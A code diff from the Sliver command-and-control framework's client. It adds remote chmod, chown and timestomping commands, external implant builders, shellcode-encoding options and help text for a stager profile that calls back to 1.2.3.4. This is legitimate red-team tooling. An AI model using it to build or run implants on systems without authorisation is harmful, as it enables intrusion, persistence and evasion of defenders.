 		Password: password,
 		Command:  strings.Join(command, " "),
+		Realm:    kerberosRealm,
+		Krb5Conf: kerberosConfig,
+		Keytab:   kerberosKeytab,
 		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {

client/command/filesystem/chmod.go

@@ -0,0 +1,84 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChmodCmd - Change the permissions of a file on the remote file system
+func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	fileMode := ctx.Args.String("mode")
+
+	if fileMode == "" {
+		con.PrintErrorf("Missing parameter: file permissions (mode)\n")
+		return
+	}
+
+	chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		FileMode:  fileMode,
+		Recursive: ctx.Flags.Bool("recursive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chmod.Response != nil && chmod.Response.Async {
+		con.AddBeaconCallback(chmod.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chmod)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChmod(chmod, con)
+		})
+		con.PrintAsyncResponse(chmod.Response)
+	} else {
+		PrintChmod(chmod, con)
+	}
+}
+
+// PrintChmod - Print the chmod response
+func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
+	if chmod.Response != nil && chmod.Response.Err != "" {
+		con.PrintErrorf("%s\n", chmod.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chmod.Path)
+}

client/command/filesystem/chown.go

@@ -0,0 +1,92 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChownCmd - Change the owner of a file on the remote file system
+func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	uid := ctx.Args.String("uid")
+
+	if uid == "" {
+		con.PrintErrorf("Missing parameter: user id\n")
+		return
+	}
+
+	gid := ctx.Args.String("gid")
+
+	if gid == "" {
+		con.PrintErrorf("Missing parameter: group id\n")
+		return
+	}
+	
+	chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		Uid:  uid,
+		Gid:  gid,
+		Recursive: ctx.Flags.Bool("recursive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chown.Response != nil && chown.Response.Async {
+		con.AddBeaconCallback(chown.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chown)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChown(chown, con)
+		})
+		con.PrintAsyncResponse(chown.Response)
+	} else {
+		PrintChown(chown, con)
+	}
+}
+
+// PrintChown - Print the chown response
+func PrintChown(chown *sliverpb.Chown, con *console.SliverConsoleClient) {
+	if chown.Response != nil && chown.Response.Err != "" {
+		con.PrintErrorf("%s\n", chown.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chown.Path)
+}

client/command/filesystem/chtimes.go

@@ -0,0 +1,107 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// ChtimesCmd - Change the access and modified time of a file on the remote file system
+func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	// DateTime layout (https://pkg.go.dev/time)
+	layout := "2006-01-02 15:04:05"
+	filePath := ctx.Args.String("path")
+
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file or directory name\n")
+		return
+	}
+
+	atime := ctx.Args.String("atime")
+
+	if atime == "" {
+		con.PrintErrorf("Missing parameter: Last accessed time id\n")
+		return
+	}
+
+	t_a, err := time.Parse(layout, atime)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	unixAtime := t_a.Unix()
+
+	mtime := ctx.Args.String("mtime")
+
+	if mtime == "" {
+		con.PrintErrorf("Missing parameter: Last modified time id\n")
+		return
+	}
+
+	t_b, err := time.Parse(layout, mtime)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	unixMtime := t_b.Unix()
+	
+	chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		ATime:  unixAtime,
+		MTime:  unixMtime,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chtimes.Response != nil && chtimes.Response.Async {
+		con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chtimes)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChtimes(chtimes, con)
+		})
+		con.PrintAsyncResponse(chtimes.Response)
+	} else {
+		PrintChtimes(chtimes, con)
+	}
+}
+
+// PrintChtimes - Print the Chtimes response
+func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
+	if chtimes.Response != nil && chtimes.Response.Err != "" {
+		con.PrintErrorf("%s\n", chtimes.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chtimes.Path)
+}

client/command/filesystem/download.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"os"
-	"path"
 	"path/filepath"
 	"regexp"
 	"runtime"
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
 				}
 			}
-			dst = path.Join(dst, fileName)
+			dst = filepath.Join(dst, fileName)
 		}
 
 		// Add an extension to a directory download if one is not provided.

client/command/filesystem/ls.go

@@ -149,13 +149,22 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
 		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
 		modTime = modTime.In(implantLocation)
 
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
-		} else if fileInfo.Link != "" {
-			fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
-		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		owner := ""
+		if fileInfo.Uid != "" {
+			owner = fileInfo.Uid
 		}
+		if fileInfo.Gid != "" {
+			owner = owner + ":" + fileInfo.Gid + "\t"
+		}
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else if fileInfo.Link != "" {
+			fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		}
+
 	}
 	table.Flush()
 	con.Printf("%s\n", outputBuf.String())

client/command/generate/generate-beacon.go

@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
+	} else {
+		externalBuild(config, save, con)
+	}
 }
 
 func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {

client/command/generate/generate-stager.go

@@ -1,10 +1,28 @@
 package generate
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"net"
+	"os"
 	"regexp"
 	"strings"
 
@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	arch := ctx.Flags.String("arch")
 	proto := ctx.Flags.String("protocol")
 	format := ctx.Flags.String("format")
-	badchars := ctx.Flags.String("badchars")
+	badChars := ctx.Flags.String("badchars")
 	save := ctx.Flags.String("save")
 
 	bChars := make([]string, 0)
-	if len(badchars) > 0 {
-		for _, b := range strings.Split(badchars, " ") {
+	if len(badChars) > 0 {
+		for _, b := range strings.Split(badChars, " ") {
 			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
 		}
 	}
@@ -88,7 +106,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 
 	if err != nil {
-		con.PrintErrorf("Error: %v", err)
+		con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
 		return
 	}
 
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 
-		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
 			return

client/command/generate/generate.go

@@ -22,12 +22,11 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"log"
 	"net"
 	"net/url"
 	"os"
-	"path"
+	"os/signal"
 	"path/filepath"
 	"runtime"
 	"strings"
@@ -36,6 +35,8 @@ import (
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/spin"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/util"
@@ -82,6 +83,9 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
+
+	ErrNoExternalBuilder = errors.New("no external builders are available")
+	ErrNoValidBuilders   = errors.New("no valid external builders for target")
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
+	} else {
+		_, err := externalBuild(config, save, con)
+		if err != nil {
+			if err == ErrNoExternalBuilder {
+				con.PrintErrorf("There are no external builders currently connected to the server\n")
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else if err == ErrNoValidBuilders {
+				con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
+				con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		}
+	}
 }
 
 func expandPath(path string) string {
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		if strings.HasSuffix(save, "/") {
 			log.Printf("%s is dir\n", save)
 			os.MkdirAll(save, 0700)
-			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			saveDir := filepath.Dir(save)
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		log.Printf("%s does exist\n", save)
 		if fi.IsDir() {
 			log.Printf("%s is dir\n", save)
-			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 		return "Shared Library"
 	case clientpb.OutputFormat_SHELLCODE:
 		return "Shellcode"
+	default:
+		return "Unknown"
 	}
-	panic(fmt.Sprintf("Unknown format %v", value))
 }
 
 // Shared function that extracts the compile flags from the grumble context
@@ -249,6 +271,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitUsername := ctx.Flags.String("limit-username")
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
+	limitLocale := ctx.Flags.String("limit-locale")
+	debugFile := ctx.Flags.String("debug-file")
 
 	isSharedLib := false
 	isService := false
@@ -322,6 +346,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
+		TemplateName:     ctx.Flags.String("template"),
 
 		WGPeerTunIP:       tunIP.String(),
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -337,6 +362,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		LimitUsername:     limitUsername,
 		LimitDatetime:     limitDatetime,
 		LimitFileExists:   limitFileExists,
+		LimitLocale:       limitLocale,
 
 		Format:      configFormat,
 		IsSharedLib: isSharedLib,
@@ -344,6 +370,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsShellcode: isShellcode,
 
 		RunAtLoad: runAtLoad,
+
+		DebugFile: debugFile,
 	}
 
 	return config
@@ -463,10 +491,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
 		var uri *url.URL
 		var err error
-		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
+		if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
 				return nil, err
@@ -477,6 +504,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		uri.Path = strings.TrimSuffix(uri.Path, "/")
 		if uri.Scheme != "http" && uri.Scheme != "https" {
 			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
 		}
@@ -605,7 +633,131 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 	return c2s, nil
 }
 
-func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+
+	potentialBuilders, err := findExternalBuilders(config, con)
+	if err != nil {
+		return nil, err
+	}
+	var externalBuilder *clientpb.Builder
+	if len(potentialBuilders) == 1 {
+		externalBuilder = potentialBuilders[0]
+	} else {
+		con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
+		externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
+		if err != nil {
+			return nil, err
+		}
+	}
+	con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
+
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
+	if config.ObfuscateSymbols {
+		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
+	} else if !config.Debug {
+		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
+	}
+	start := time.Now()
+
+	listenerID, listener := con.CreateEventListener()
+
+	waiting := true
+	spinner := spin.New()
+
+	sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
+	signal.Notify(sigint, os.Interrupt)
+
+	con.PrintInfof("Creating external build ... ")
+	externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
+		Config:      config,
+		BuilderName: externalBuilder.Name,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil, err
+	}
+	con.Printf("done\n")
+
+	var name string
+	msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
+	for waiting {
+		select {
+
+		case <-time.After(100 * time.Millisecond):
+			elapsed := time.Since(start)
+			msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
+			fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s  %s", spinner.Next(), msg)
+
+		case event := <-listener:
+			switch event.EventType {
+
+			case consts.ExternalBuildFailedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					return nil, fmt.Errorf("external build failed: %s", parts[1])
+				}
+
+			case consts.AcknowledgeBuildEvent:
+				if string(event.Data) == externalImplantConfig.Config.ID {
+					msgF = "External build acknowledged by builder (template: %s) ... %s"
+				}
+
+			case consts.ExternalBuildCompletedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					name = parts[1]
+					waiting = false
+				}
+
+			}
+
+		case <-sigint:
+			waiting = false
+			con.Printf("\n")
+			return nil, fmt.Errorf("user interrupt")
+		}
+	}
+
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
+
+	generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+		ImplantName: name,
+	})
+	if err != nil {
+		return nil, err
+	}
+	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
+
+	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
+	if err != nil {
+		return nil, err
+	}
+
+	err = os.WriteFile(saveTo, generated.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to: %s\n", saveTo)
+		return nil, err
+	}
+	con.PrintInfof("Implant saved to %s\n", saveTo)
+
+	return nil, nil
+}
+
+func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
 	if config.IsBeacon {
 		interval := time.Duration(config.BeaconInterval)
 		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -632,9 +784,8 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, err
 	}
 
-	end := time.Now()
-	elapsed := time.Time{}.Add(end.Sub(start))
-	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
 	if len(generated.File.Data) == 0 {
 		con.PrintErrorf("Build failed, no file data\n")
 		return nil, errors.New("no file data")
@@ -642,9 +793,9 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 
 	fileData := generated.File.Data
 	if config.IsShellcode {
-		confirm := false
-		survey.AskOne(&survey.Confirm{Message: "Encode shellcode with shikata ga nai?"}, &confirm)
-		if confirm {
+		if disableSGN {
+			con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
+		} else {
 			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
 			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
 				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
@@ -667,7 +818,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, err
 	}
 
-	err = ioutil.WriteFile(saveTo, fileData, 0700)
+	err = os.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -693,6 +844,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	if config.LimitFileExists != "" {
 		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
 	}
+	if config.LimitLocale != "" {
+		limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
+	}
 	return strings.Join(limits, "; ")
 }
 
@@ -754,3 +908,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
 	survey.AskOne(prompt, &confirm, nil)
 	return confirm
 }
+
+func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(builders.Builders) < 1 {
+		return []*clientpb.Builder{}, ErrNoExternalBuilder
+	}
+
+	validBuilders := []*clientpb.Builder{}
+	for _, builder := range builders.Builders {
+		for _, target := range builder.Targets {
+			if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
+				validBuilders = append(validBuilders, builder)
+				break
+			}
+		}
+	}
+
+	if len(validBuilders) < 1 {
+		return []*clientpb.Builder{}, ErrNoValidBuilders
+	}
+
+	return validBuilders, nil
+}
+
+func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
+	choices := []string{}
+	for _, builder := range builders {
+		choices = append(choices, builder.Name)
+	}
+	choice := ""
+	prompt := &survey.Select{
+		Message: "Select an external builder:",
+		Options: choices,
+	}
+	survey.AskOne(prompt, &choice, nil)
+	for _, builder := range builders {
+		if builder.Name == choice {
+			return builder, nil
+		}
+	}
+	return nil, ErrNoValidBuilders
+}

client/command/generate/helpers.go

@@ -17,7 +17,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 		return data, err
 	}
 
-	implantName := buildImplantName(profile.GetConfig().GetName())
+	implantName := buildImplantName(profile.GetConfig().GetFileName())
 	_, ok := builds.GetConfigs()[implantName]
 	if implantName == "" || !ok {
 		// no built implant found for profile, generate a new one
@@ -35,7 +35,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 			return data, err
 		}
 		data = generated.GetFile().GetData()
-		profile.Config.Name = buildImplantName(generated.GetFile().GetName())
+		profile.Config.FileName = generated.File.Name
 		_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
 		if err != nil {
 			con.PrintErrorf("Error updating implant profile\n")
@@ -45,7 +45,7 @@ func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsol
 		// Found a build, reuse that one
 		con.PrintInfof("Sliver name for profile: %s\n", implantName)
 		regenerate, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
-			ImplantName: profile.GetConfig().GetName(),
+			ImplantName: implantName,
 		})
 
 		if err != nil {

client/command/generate/implants.go

@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	implantBuildfilters := ImplantBuildFilter{}
+	implantBuildFilters := ImplantBuildFilter{}
 
 	if 0 < len(builds.Configs) {
-		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
+		PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 	tw.AppendHeader(table.Row{
 		"Name",
 		"Implant Type",
+		"Template",
 		"OS/Arch",
 		"Format",
 		"Command & Control",
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 		for index, c2 := range config.C2 {
 			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
 		}
+		if config.TemplateName == "" {
+			config.TemplateName = "sliver"
+		}
 		tw.AppendRow(table.Row{
 			sliverName,
 			implantType,
+			config.TemplateName,
 			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
 			config.Format,
 			strings.Join(c2URLs, "\n"),

client/command/generate/profiles-generate.go

@@ -41,7 +41,7 @@ func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	profile := GetImplantProfileByName(name, con)
 	if profile != nil {
-		implantFile, err := compile(profile.Config, save, con)
+		implantFile, err := compile(profile.Config, ctx.Flags.Bool("disable-sgn"), save, con)
 		if err != nil {
 			return
 		}

client/command/generate/regenerate.go

@@ -20,7 +20,6 @@ package generate
 
 import (
 	"context"
-	"io/ioutil"
 	"os"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
+	err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to %s\n", err)
 		return

client/command/help/long-help.go

@@ -105,6 +105,9 @@ var (
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
 
 		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
+
+		// Builders
+		consts.BuildersStr: buildersHelp,
 	}
 
 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -206,10 +209,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
 
 To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
 
-profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
 `
 
-	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
 
 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
